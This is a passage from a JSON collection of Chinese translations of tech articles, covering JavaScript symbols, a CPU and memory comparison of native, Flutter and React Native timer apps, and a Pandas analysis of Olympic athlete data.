视为不可变的字符串，仅此一项就带来了使用它们的许多优点。它们通常是用作对象属性标识符。\n\n![](https://cdn-images-1.medium.com/max/4568/1*Fa2BNIGDEvDW9R_44uI97w.png)\n\nsymbol 也比字符串具有性能优势。每次使用字符串表示时，都会在内存中创建一个新对象，而 symbol 总是同一个对象的。\n\n![](https://cdn-images-1.medium.com/max/4744/1*3qvoL8xoQD4H5As3u-j87g.png)\n\n现在假设我们使用一个字符串作为属性标识符，并创建 100 个对象。在 Ruby 中，就不得不创建 100 个不同的字符串对象。如果使用 symbol 就可以避免上述这种情况。\n\n关于 symbol 的另一个例子是状态显示。例如，对于函数来说，返回一个 symbol 是一种很好的做法，用（**:ok**，**:error**）来表示状态，以及结果.\n\n在 [Rails](https://rubyonrails.org/) **（一个著名的 Ruby Web 应用框架）**中，几乎所有的 [HTTP 状态代码都可以与 symbol 一起使用](https://gist.github.com/mlanett/a31c340b132ddefa9cca)。你可以发送状态 **:ok**、**:internal_server_error** 或者 **:not_found**，Rails 将用正确的状态代码和消息替换它们。\n\n综上所述，我们可以说，在所有的编程语言中，symbol 并不总是相同的，它们的目的也不尽相同。对于一个已经熟悉 Ruby symbol 的人来说，JavaScript symbol 及其动机着实让我有些困惑。\n\n**注意：在某些编程语言中（[erlang](https://www.erlang.org/)、[elixir](https://elixir-lang.org/)）， symbol 也被称为 [atom](https://elixir-lang.org/getting-started/basic-types.html#atoms)。**\n\n## JavaScript 中一些比较出名的 symbol\n\nJavaScript 有一些内置的 symbol，允许开发者在 Javascript 还没引入 symbol 之前访问一些还没有暴露的属性。\n\n以下是一些著名的 JavaScript symbol，用于 iteration、 Regexp 等。\n\n#### Symbol.iterator\n\n这个 symbol 允许开发人员访问对象的默认迭代器。它用于 **`for…of`**，其值应为 generator 函数。\n\n![](https://cdn-images-1.medium.com/max/4224/1*pTFWK26OfUHMKysmg36Zlg.png)\n\n![](https://cdn-images-1.medium.com/max/5520/1*qYvPQJVoT5tQKCjoQ5Hkuw.png)\n\n> `function*() {}` 是用于定义 **generator 函数**的语法。generator 函数会返回 Generator 对象。\n\n> `yield` 是用于暂停和恢复 generator 函数的关键字。\n\n> 访问链接，了解更多关于 [generator 函数](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/function*) 和 [yield](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/yield) 的信息.\n\n对于异步迭代，有 **Symbol.asyncIterator**，它被用于 `**for await…of**` 循环。\n\n#### Symbol.match\n\n众所周知，诸如 **String.prototype.startsWith()，String.prototype.endsWith()** 这样的函数都会将字符串作为第一个参数。\n\n![](https://cdn-images-1.medium.com/max/4656/1*ZQnSSyo2bD95Xo--mJDK3g.png)\n\n让我们试着传递一个 regexp 而不是一个字符串给函数，我们会得到一个类型错误。\n\n![](https://cdn-images-1.medium.com/max/6552/1*mVSJ9mZR6eiVxa_wt0piLw.png)\n\n实际上，所发生的是，函数会专门检查所传递的参数是否为 regexp。但是，我们可以通过将对象的 **`Symbol.match`** 属性设置为 **false**或其他假值来表示该对象不会当作 regexp 使用。\n\n![](https://cdn-images-1.medium.com/max/5256/1*bE28F0Oz0o5Sl6LGuHVR4Q.png)\n\n**注意：说实话，我并不清楚这样写的意义所在。上面的代码是一个演示如何使用 `Symbol.match` 的示例。看起来像是 hack，如果这样使用会是有问题的，因为它会改变经常使用的语言本身功能的行为。所以，我想不出一个有任何实际的用例。**\n\n## JavaScript 中 symbol 的用途\n\n尽管 JavaScript 的 Symbol 并未得到广泛的使用，也无法解决私有属性的问题，但它还是有些用处的。\n\n我们可以使用 Symbol 来定义对象上的一些**元数据**。例如，我们想要创建一个字典，我们将通过向对象添加单词和定义对来实现它，出于某些计算需求，我们想要跟踪字典中的单词数。在本例中，我们就可以将单词数视为元数据。对于用户来说，它并不是真正有价值的信息，用户在遍历对象时也不希望看到它。\n\n![](https://cdn-images-1.medium.com/max/5088/1*sRYsDvC0c4-EQkaD-MIoww.png)\n\n我们可以通过将单词计数属性保持为一个为 symbol 为键的对象来解决此问题。在这种情况下，我们避免了用户意外访问它的问题。\n\n![](https://cdn-images-1.medium.com/max/5776/1*F6CB9NdXMu60kWx3TljHOA.png)\n\n最常使用 symbol 的原因应该是解决属性名称冲突。有时，我们在迭代对象属性时获取并设置对象属性，或者我们使用动态值来访问属性 **（使用** obj[key] **的方式）** 。结果，意外地使我们不需要改变的属性发生了改变。因此我们可以通过使用 symbol 作为属性标识符来解决此问题。在这种情况下，我们永远无法在迭代对象或使用动态值时落在该键上。在迭代过程中这种情况也不会发生，因为我们在进行  **`for…in`** 时永远无法落在它们上。\n\n![](https://cdn-images-1.medium.com/max/3184/1*yhZemW2nIYKx_CLHWP72-g.png)\n\n动态值键的情况不会发生，因为一个 symbol 不等于其他任何值，除了它本身。\n\n当然，还有一些众所周知的 symbol，比如 **`Symbol.iterator`** 以及 **`Symbol.asyncIterator`** 也很有趣。\n\n![](https://cdn-images-1.medium.com/max/5448/1*ZkrQzQrm6Xf9LV_C9-KyZw.png)\n\n我介绍了一些掌握 JavaScript 的 Symbol 所需的重要概念和实践。当然，同众所周知的其他语言的 “symbol” 一样，文章还有更多的内容需要涵盖，比如 symbol 跨作用域的例子，但是我将把这些有用的材料放在文末，这些内容将会涵盖 JavaScript Symbol 的其他部分。\n\n#### 附加材料\n\n- [JavaScript Symbol MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol)\n- [ES6 Symbol tc39wiki](http://tc39wiki.calculist.org/es6/symbols/)\n- [JS Symbols exploringjs.com](https://exploringjs.com/es6/ch_symbols.html)\n- [JS Realms stackoverflow](https://stackoverflow.com/questions/49832187/how-to-understand-js-realms)\n- [Symbol (programming) 维基百科](https://en.wikipedia.org/wiki/Symbol_(programming))\n- [Ruby Symbols](https://ruby-doc.org/core-2.2.0/Symbol.html)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/examining-performance-differences-between-native-flutter-and-react-native-mobile-development.md",
    "content": "> * 原文地址：[Examining performance differences between Native, Flutter, and React Native mobile development.](https://robots.thoughtbot.com/examining-performance-differences-between-native-flutter-and-react-native-mobile-development)\n> * 原文作者：[Alex Sullivan](https://robots.thoughtbot.com/authors/alex-sullivan)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/examining-performance-differences-between-native-flutter-and-react-native-mobile-development.md](https://github.com/xitu/gold-miner/blob/master/TODO1/examining-performance-differences-between-native-flutter-and-react-native-mobile-development.md)\n> * 译者：[LeeSniper](https://github.com/LeeSniper)\n> * 校对者：[LeviDing](https://github.com/leviding)\n\n# 测试原生，Flutter 和 React Native 移动开发之间的性能差异。\n\n确定你们公司的移动应用程序是真正的原生应用还是采用跨平台方法实现（如 [React Native](https://facebook.github.io/react-native/) 或 [Flutter](https：//flutter.io/?gclid=CjwKCAjw_tTXBRBsEiwArqXyMpTQzgV_nMlPcId9f80SVLkTOOeDSBufRKeadabVPzTD5D262LhFPRoCkKEQAvD_BwE)）是一个很艰难的决定。经常会考虑的一个因素是速度问题 —— 我们都普遍认为大多数跨平台方法比原生方法慢，但是很难说出具体的数字。因此，当我们考虑性能时，我们常常会靠直觉，而不是具体的数据。\n\n因为希望在上述性能分析中添加一些结构，以及对 Flutter 如何实现其性能承诺的兴趣，我决定构建一个非常简单的应用程序分别对应原生版本，React Native 版本以及 Flutter 版本，进而比较他们的性能。\n\n## 测试应用\n\n我构建的应用程序尽可能简单，同时确保至少仍能提供一些信息。它是一个计时器应用 —— 具体来说，该应用程序显示随着时间的推移计数的一团文本。它显示自应用程序启动以来经过的分钟数、秒数和毫秒数。相当简单。\n\n下面是它初始状态的样子：\n\n![](https://images.thoughtbot.com/blog-vellum-image-uploads/0VCxRzRRfmVuQOZ89uQY_zero_time.png)\n\n这是 1 分钟 14 秒 890 毫秒后的样子：\n\n![](https://images.thoughtbot.com/blog-vellum-image-uploads/rhpib7pYRP60PJ403OSI_non_zero_timer.png)\n\n铆。\n\n## 但是为什么选计时器？\n\n我选择计时器应用有两个原因：\n\n1.  它在每个平台上都很容易开发。这个应用程序的核心是某种类型的文本视图和重复计时器，很容易翻译成三种不同的语言和堆栈。\n2.  它表明了底层系统在屏幕上绘制内容的效率。\n\n## 让我们看一看代码\n\n幸运的是，这个应用足够小，我可以直接在这里添加相关代码。\n\n### 原生 Android 应用\n\n以下是原生 Android 应用的 MainActivity：\n\n```\nclass MainActivity : AppCompatActivity() {\n\n  val timer by lazy {\n    findViewById<TextView>(R.id.timer)\n  }\n\n  override fun onCreate(savedInstanceState: Bundle?) {\n    super.onCreate(savedInstanceState)\n    setContentView(R.layout.activity_main)\n    initTimer()\n  }\n\n  private fun initTimer() {\n    val startTime = elapsedRealtime()\n    val handler = Handler()\n    val runnable: Runnable = object: Runnable {\n      override fun run() {\n        val timeDifference = elapsedRealtime() - startTime\n        val seconds = timeDifference / 1000\n        val minutes = seconds / 60\n        val leftoverSeconds = seconds % 60\n        val leftoverMillis = timeDifference % 1000 / 10\n        timer.text = String.format(\"%02d:%02d:%2d\", minutes, leftoverSeconds, leftoverMillis)\n        handler.postDelayed(this, 10)\n      }\n    }\n\n    handler.postDelayed(runnable, 1)\n  }\n}\n```\n\n### React Native\n\n这是 React Native 应用程序的 `App.js` 文件：\n\n```\nexport default class App extends Component {\n\n  render() {\n    return (\n      <View style={styles.container}>\n        <Timer />\n      </View>\n    );\n  }\n}\n\nclass Timer extends Component {\n  constructor(props) {\n    super(props);\n    this.state = {\n      milliseconds: 0,\n      seconds: 0,\n      minutes: 0,\n    }\n\n    let startTime = global.nativePerformanceNow();\n    setInterval(() => {\n      let timeDifference = global.nativePerformanceNow() - startTime;\n      let seconds = timeDifference / 1000;\n      let minutes = seconds / 60;\n      let leftoverSeconds = seconds % 60;\n      let leftoverMillis = timeDifference % 1000 / 10;\n      this.setState({\n        milliseconds: leftoverMillis,\n        seconds: leftoverSeconds,\n        minutes: minutes,\n      });\n    }, 10);\n  }\n\n  render() {\n    let { milliseconds, seconds, minutes } = this.state;\n    let time = sprintf(\"%02d:%02d:%2d\", minutes, seconds, milliseconds);\n    return (\n      <Text>{time}</Text>\n    )\n  }\n}\n\nconst styles = StyleSheet.create({\n  container: {\n    flex: 1,\n    justifyContent: 'center',\n    alignItems: 'center',\n    backgroundColor: '#F5FCFF',\n  }\n});\n```\n\n### Flutter\n\n最后这是我们的 Flutter `main.dart` 文件：\n\n```\nvoid main() => runApp(new MyApp());\n\nclass MyApp extends StatelessWidget {\n  @override\n  Widget build(BuildContext context) {\n    return new MaterialApp(\n      home: new MyHomePage(),\n    );\n  }\n}\n\nclass MyHomePage extends StatefulWidget {\n  MyHomePage({Key key}) : super(key: key);\n\n  @override\n  _MyHomePageState createState() => new _MyHomePageState();\n}\n\nclass _MyHomePageState extends State<MyHomePage> {\n  int _startTime = new DateTime.now().millisecondsSinceEpoch;\n  int _numMilliseconds = 0;\n  int _numSeconds = 0;\n  int _numMinutes = 0;\n\n  @override\n  void initState() {\n    super.initState();\n    Timer.periodic(new Duration(milliseconds: 10), (Timer timer) {\n      int timeDifference = new DateTime.now().millisecondsSinceEpoch - _startTime;\n      double seconds = timeDifference / 1000;\n      double minutes = seconds / 60;\n      double leftoverSeconds = seconds % 60;\n      double leftoverMillis = timeDifference % 1000 / 10;\n      setState(() {\n        _numMilliseconds = leftoverMillis.floor();\n        _numSeconds = leftoverSeconds.floor();\n        _numMinutes = minutes.floor();\n      });\n    });\n  }\n\n  @override\n  Widget build(BuildContext context) {\n    return new Scaffold(\n        body: new Center(\n          child: new Text(\n            sprintf(\"%02d:%02d:%2d\", [_numMinutes, _numSeconds, _numMilliseconds]),\n          ),\n        )\n    );\n  }\n}\n```\n\n每个应用程序都遵循相同的基本结构 —— 它们都有一个计时器，每 10 毫秒重复一次，并重新计算自计时器启动以来经过的分钟数、秒和毫秒数。\n\n## 我们如何测量性能？\n\n对于那些不熟悉 Android 开发的人来说，Android Studio 是构建 Android 应用程序的首选编辑器/环境。它还附带了一系列有用的分析器来分析你的应用程序 —— 具体来说，它有一个 CPU 分析器，一个内存分析器和一个网络分析器。所以我们将使用这些分析器来判断性能。所有测试都在 Thoughtbot 的 Nexus 5X 和我自己的第一代 Google Pixel 上运行。React Native 应用程序将在 `--dev` 标志设置为 `false` 的情况下运行，Flutter 应用程序将在 `profile` 配置中运行，以模拟发布应用程序而不是 JIT 编译的调试应用程序。\n\n## 给我看数据！\n\n到了这篇文章最有趣的部分了。让我们看一下在 Thoughtbot 办公室的 Nexus 5X 上运行时的结果。\n\n#### Nexus 5X 上面原生应用的结果\n\n![](https://images.thoughtbot.com/blog-vellum-image-uploads/lFFEgOsfTSoj0vK5Se3T_5X-native.png)\n\n#### Nexus 5X 上面 React Native 应用的结果\n\n![](https://images.thoughtbot.com/blog-vellum-image-uploads/AZGU7tjrQafOmrSmInOA_5X-react-native.png)\n\n#### Nexus 5X 上面 Flutter 应用的结果\n\n![](https://images.thoughtbot.com/blog-vellum-image-uploads/AJNqUln8TOiJE1vZ0tnj_5X-flutter-profile.png)\n\n这些结果首先表明的是，当涉及到性能时，原生 Android 应用程序胜过 React Native 和 Flutter 应用程序可不是一点半点。原生应用程序上的 CPU 使用率不到 Flutter 应用程序的一半，与 React Native 应用程序相比，Flutter 占用的 CPU 更少一些，但是差别不大。原生应用程序的内存使用率同样很低，并且在 React Native 和 Flutter 应用程序上内存使用率都有所增加，不过这次 React Native 应用表现得比 Flutter 应用更好。\n\n下一个有趣的内容是 React Native 和 Flutter 应用程序在性能上是如此**相近**。虽然这个应用程序无疑是微不足道的，但我原本以为 JavaScript 桥接器会受到更多的影响，因为应用程序如此快速地通过该桥接器发送了如此多的消息。\n\n现在让我们看看在 Pixel 上测试时的结果。\n\n#### Pixel 上面原生应用的结果\n\n![](https://images.thoughtbot.com/blog-vellum-image-uploads/ZL2Ji5UAQF2rBSPVpuTA_pixel-native.png)\n\n#### Pixel 上面 React Native 应用的结果\n\n![](https://images.thoughtbot.com/blog-vellum-image-uploads/wcCikaphRPy2lv8frxuS_pixel-react-native.png)\n\n#### Pixel 上面 Flutter 应用的结果\n\n![](https://images.thoughtbot.com/blog-vellum-image-uploads/lQ2x4GucSWODuouxK270_pixel-flutter-profile.png)\n\n所以，我立马就对 Pixel 上显然更高的 CPU 占用感到惊讶。它肯定是比 Nexus 5X 更强大（在我看来就是更流畅）的手机，所以我自然而然假设同一应用程序的 CPU 利用率将_更低_，而不是更高。我可以理解为什么内存使用会更高，因为 Pixel 上有更大的内存空间而且 Android 上遵循一条“使用它或者浪费它”的策略来保持内存。如果读者中有任何人知道的话，我很想了解一下为什么 CPU 使用率会更高！\n\n第二个有趣的收获是，Flutter 和 React Native 与原生应用相比在他们的优势和劣势方面有了_更明显_的差别。React Native 只比原生应用程序占用的内存略微高一点，而 Flutter 的内存使用率比原生应用程序高出近 50％。另一方面，Flutter 应用程序更接近于原生应用程序的 CPU 使用率，而 React Native 应用程序则难以保持低于 30％ 的 CPU 使用率。\n\n最重要的是，我对 5X 和 Pixel 之间结果的**差异之大**感到惊讶。\n\n## 结论\n\n我可以很有信心地说原生 Android 应用的性能优于 React Native 应用或 Flutter 应用。不过，我_没有_信心说 React Native 应用将表现得比 Flutter 应用更好，反之亦然。还需要做**更多**的测试才能弄清楚 Flutter 是否能真正提供比 React Native 更高的真实性能。\n\n## 注意事项\n\n上面所做的分析是**并不是**最终结果。我运行的一小部分测试不能用来表示 React Native 比 Flutter 更快或者相反。它们只应被解释为分析跨平台应用程序这个大问题的一部分。还有很多这个小应用程序没有触及的东西会影响现实世界的性能和用户体验。值得指出的是，在 debug 模式和 release 模式下，所有三个应用程序都运行顺畅。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/exploratory-statistical-data-analysis-with-a-kaggle-dataset-using-pandas.md",
    "content": "> * 原文地址：[EXPLORATORY STATISTICAL DATA ANALYSIS WITH A KAGGLE DATASET USING PANDAS](http://www.dataden.tech/data-science/exploratory-statistical-data-analysis-with-a-kaggle-dataset-using-pandas/)\n> * 原文作者：[Strikingloo](http://www.dataden.tech/author/strikingloo/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/exploratory-statistical-data-analysis-with-a-kaggle-dataset-using-pandas.md](https://github.com/xitu/gold-miner/blob/master/TODO1/exploratory-statistical-data-analysis-with-a-kaggle-dataset-using-pandas.md)\n> * 译者：[haiyang-tju](https://github.com/haiyang-tju)\n> * 校对者：[rocheers](https://github.com/rocheers)\n\n# 使用 Pandas 对 Kaggle 数据集进行统计数据分析\n\n![](http://www.dataden.tech/wp-content/uploads/2018/09/runninggu.jpg)\n\n有时，当遇到一个数据问题的时候，对于数据集，我们必须首先深入研究并了解它。了解它的性质，它的分布等等，这是我们需要专注的领域。\n\n今天，我们将利用 [Python Pandas](https://towardsdatascience.com/exploratory-data-analysis-with-pandas-and-jupyter-notebooks-36008090d813) 框架进行数据分析，并利用 Seaborn 进行数据的可视化。\n\n作为一名极客程序员，我的审美观念很低。Seaborn 对我来说是一种很好的可视化工具，因为只需要坐标点即可。\n\n它在底层使用 Matplotlib 作为绘图引擎，使用默认的样式来设置图形，这使得它们看起来比我所能做的更漂亮。让我们来看一下数据集，我会给大家展示一种看待不同特征时的直观感受。也许我们能从中获得一些真知灼见呢！\n\n#### 没有鸡蛋就不能做煎蛋卷：数据集。\n\n下面的分析中，我使用的是 [120 年的奥运会](https://www.kaggle.com/heesoo37/120-years-of-olympic-history-athletes-and-results#athlete_events.csv) 数据集，你可以通过点击这个链接来下载或阅读更多的相关信息。\n\n我是从 Kaggle 上免费下载该数据集的。如果你需要获取一个数据集来尝试一些新的 [机器学习算法](http://www.dataden.tech/data-science/machine-learning-introduction-applying-logistic-regression-to-a-kaggle-dataset-with-tensorflow/)，来温习一些框架的 API，或者只是想要玩一下，Kaggle 是一个很棒的网站。\n\n我将只使用 CSV 文件中的 ‘athlete_events’，其中记录了自 1900 年以来的每一场奥运会比赛的运动员信息，即每个参赛运动员出生地所属的国家，以及他们是否获奖等等。\n\n有趣的是， 文件中的 _medals_ 列中有 85% 的数据是空的，所以平均只有 15% 的奥运会运动员获得了奖牌。 此外，还有一些运动员获得了不止一枚奖牌，这表明，在为数不多的奥运级别运动员中，只有更少的人能获得奖牌。所以他们的功劳是更大的！\n\n#### 开始分析：数据集是什么样的？\n\n首先，在深入了解该数据集之前，可以先通过一些直观数据来了解数据集的模式。比如数据集中有多少数据丢失了？数据有多少列？我想先从这些问题开始分析。\n\n我在分析过程中使用 Jupyter 笔记进行，我会为我运行的每段代码添加注释，以便你可以继续学习。\n\n该 Jupyter 笔记可以在 [这个仓库中](https://github.com/StrikingLoo/Olympics-analysis-notebook/) 找到，你可以打开来看一下，并可以从任何一个地方开始。\n\n我首先要做的是使用 Pandas 来加载数据，并检查它们的大小。\n\n```\nimport pandas as pd\nimport seaborn as sns\n\ndf = pd.read_csv('athlete_events.csv')\ndf.shape\n#(271116, 15)\n```\n\n在这个例子中，数据集中有 15 个不同的列，以及整整 271116 行！也就是超过 27 万的运动员数据！但是接下来我想知道实际上有多少不同的运动员。还有，他们中有多少人赢得了奖牌？\n\n为了查看这些数据，首先字数据集上调用 ‘list’ 函数列出行数据。我们可以看到许多感兴趣的特征。\n\n```\nlist(df)\n#['ID','Name','Sex','Age','Height','Weight','Team','NOC','Games','Year','Season','City',\n# 'Sport','Event','Medal']\n```\n\n我能想到的一些事情是，我们可以查看奥运会运动员的平均身高和体重，或者通过不同的运动来划分他们。我们还可以查看依赖于性别的两个变量的分布。我们甚至还可以看到每个国家有多少奖牌，将此作为时间序列，来查看整个二十世纪文明的兴衰。\n\n可能性是无限的！但首先让我们来解决这个难题：我们的数据集有多完整？\n\n```\ndef NaN_percent(df, column_name):\n    row_count = df[column_name].shape[0]\n    empty_values = row_count - df[column_name].count()\n    return (100.0*empty_values)/row_count\nfor i in list(df):\n    print(i +': ' + str(NaN_percent(df,i))+'%')  \n'''\n0% incomplete columns omitted for brevity.\nAge: 3.49444518214%\nHeight: 22.193821095%\nWeight: 23.191180159%\nMedal: 85.3262072323% --Notice how 15% of athletes did not get any medals\n'''\n```\n\n在序列数据上使用 Pandas 的计数方法可以得到非空行的数量。而通过查看 shape 属性，可以查看到总的行数，不管它们是否为空。\n\n之后就是减法和除法的问题了。我们可以看到只有四栏的属性不完整：身高、体重、年龄和奖牌。\n\n奖牌属性的不完整是因为一个运动员可能实际上并没有赢得奖牌，所以可以预料到这条数据是不完全的。然而，在体重、身高和年龄的方面，不完整的数据让我们面临着相当大的挑战。\n\n我试着用不同的年份对这些数据行进行过滤，但这种不完整性似乎随着时间的推移而保持一致，这让我觉得可能是有一些国家不提供运动员的这些相关数据。\n\n#### 开始我们真正的分析： 奖牌情况是怎样的？\n\n我们问的第一个问题是，自 1900 年以来，有多少不同的人获得过奖牌？下面的代码片段回答了这个问题：\n\n```\ntotal_rows = df.shape[0]\nunique_athletes = len(df.Name.unique())\nmedal_winners = len(df[df.Medal.fillna('None')!='None'].Name.unique())\n\n\"{0} {1} {2}\".format(total_rows, unique_athletes, medal_winners)\n\n#'271116 134732 28202'\n```\n\n正如你所看到的，在过去的 120 年里，大约有 13.5 万不同的人参加了奥运会，但是只有 2.8 万多人获得了至少一枚奖牌。\n\n获得奖牌比率大约是五分之一，还不错。但如果你考虑到许多人实际上会参加多个类别的运动，那就不那么乐观了。\n\n既然我们已经分析到这里了，那么在这 120 年里运动员们到底赢得了多少奖牌呢？\n\n```\n# 查看奖牌分布\nprint(df[df.Medal.fillna('None')!='None'].Medal.value_counts())\n# 总共多少奖牌\ndf[df.Medal.fillna('None')!='None'].shape[0]\n'''\nGold      13372\nBronze    13295\nSilver    13116\nTotal: 39783\n'''\n```\n\n不出所料，奖牌榜上的分布几乎是均匀的：获得的金牌、银牌和铜牌的数量几乎是相同的。\n\n然而，总共颁发了近 3.9 万枚奖牌，这意味着如果你属于获得奖牌最多的那 20% 的运动员，那么你的平均奖牌数将超过 1 枚。\n\n那么按照国家来进行分配呢？为了获得这些信息，可以运行下面的代码片段：\n\n```\nteam_medal_count = df.groupby(['Team','Medal']).Medal.agg('count')\n# 按照数量进行排列\nteam_medal_count = team_medal_count.reset_index(name='count').sort_values(['count'], ascending=False)\n#team_medal_count.head(40) 用来显示第一行\n\ndef get_country_stats(country):\n    return team_medal_count[team_medal_count.Team==country]\n# get_country_stats('some_country') 获得对应国家的奖牌\n```\n\n使用这个函数我们可以得到某个国家获得的每种类型的奖牌数量，而通过获取 Pandas 数据帧头部以看到获得奖牌最多的国家。\n\n有趣的是，奖牌数最多国家的第二名仍然是苏联，尽管它已经近 20 年没有出现了。\n\n在所有类别中，第一名是美国，第三名是德国。我还观察了我的两个国家——阿根廷和克罗地亚，惊讶地发现克罗地亚已经赢得了 58 枚金牌，尽管这是从 1991 年（那是 1992 年的奥运会）以来的事情。\n\n写一段代码作为练习，获取到某一个国家参加奥运会的不同年份数据，我相信你能做到！\n\n#### 女性参与情况\n\n我想到的另一件有趣的事是，从这整个世纪以来，女性在奥运会上的表现如何？这段代码回答了这个问题：\n\n```\nunique_women = len(df[df.Sex=='F'].Name.unique())\nunique_men = len(df[df.Sex=='M'].Name.unique())\nwomen_medals = df[df.Sex=='F'].Medal.count()\nmen_medals = df[df.Sex=='M'].Medal.count()\n\nprint(\"{} {} {} {} \".format(unique_women, unique_men, women_medals, men_medals ))\n\ndf[df.Sex=='F'].Year.min()\n\n#33808 100979 11253 28530 \n#1900\n```\n\n让我惊讶的是早在 1900 年就有女性参加了奥运会。然而，从历史上看，奥运会的男女比例是 3 比 1。惊讶于女性早在 1900 年就参加了奥运会，我决定查看一下整个时间段里面她们的参与人数。我终于用到了 Seaborn！\n\n![Female participation in the Olympics over time.](https://cdn-images-1.medium.com/max/800/0*Gp3AI-vPaxL7LlWs.png)\n\n我们可以看到，在过去的几十年里，女性的参与率一直在快速上升，从几乎为零上升到数千。然而，她们的参与率真的比男性增长得快吗？或者这只是世界人口的问题？为了解决这个问题，我做了第二副图：\n\n```\nf_year_count = df[df.Sex=='F'].groupby('Year').agg('count').Name\nm_year_count = df[df.Sex=='M'].groupby('Year').agg('count').Name\n(sns.scatterplot(data= m_year_count),\n sns.scatterplot(data =f_year_count))\n```\n\n![Female participation in the Olympics over time.](https://cdn-images-1.medium.com/max/800/0*qtjbN64IzHEuj-Kn.png)\n\n随时间推移，女性参与（橙色）对男性参与（蓝色）。\n\n这一次，我们可以清楚地看到这样一个模式的出现：女性的参与数量实际上正在快速地接近男性的数量！另一件有趣的事情是：看到下面的小点了吗，在右边？我想那就是冬季奥运会！无论如何，对于女性代表来说，这幅图看起来相当乐观，尽管还没有在哪一年中女性的参与者多于男性。\n\n#### 其它分析：身高和体重\n\n我花了很长时间来查看身高和体重相关图，但没有得到任何有趣的结论。\n\n*   这两种属性在大多数运动中都是呈正态分布的\n*   在我所观察过的所有运动中，男性总是比女性更重和更高\n*   唯一有趣的变化似乎是根据此项运动来可以分析两种性别之间的差别到底有多大。\n\n如果你有任何有趣的想法可以用来分析体重和身高的数据，请告知我！我对每项运动的分组不够深入，所以可能会有一些错误的解释。以上就是今天的内容，我希望你们觉得这个分析很有趣，或者至少你们学到了一些 Pandas 或者数据分析的相关知识。\n\n我把笔记放在了 [GitHub](https://github.com/StrikingLoo/Olympics-analysis-notebook/) 上，这样你就可以复制这个项目，可以做你自己的分析，然后提出一个 pull request（拉取请求）。\n\n当然你可以得到所有的功劳！希望你们在图形显示和视觉分析上做的比我要好。\n\n[**第2部分关于运动的深入理解**](https://github.com/xitu/gold-miner/blob/master/TODO1/extracting-insights-from-a-kaggle-dataset-using-pythons-pandas-and-seaborn.md) **在这里可以找到。**\n\n**可以 [在 medium 上关注我](http://www.medium.com/@strikingloo)** **以获取更多软件开发和数据科学相关的教程、提示和技巧。\n**如果你真的喜欢这篇文章，和朋友分享吧！****\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/exploring-apps-without-jailbreaking.md",
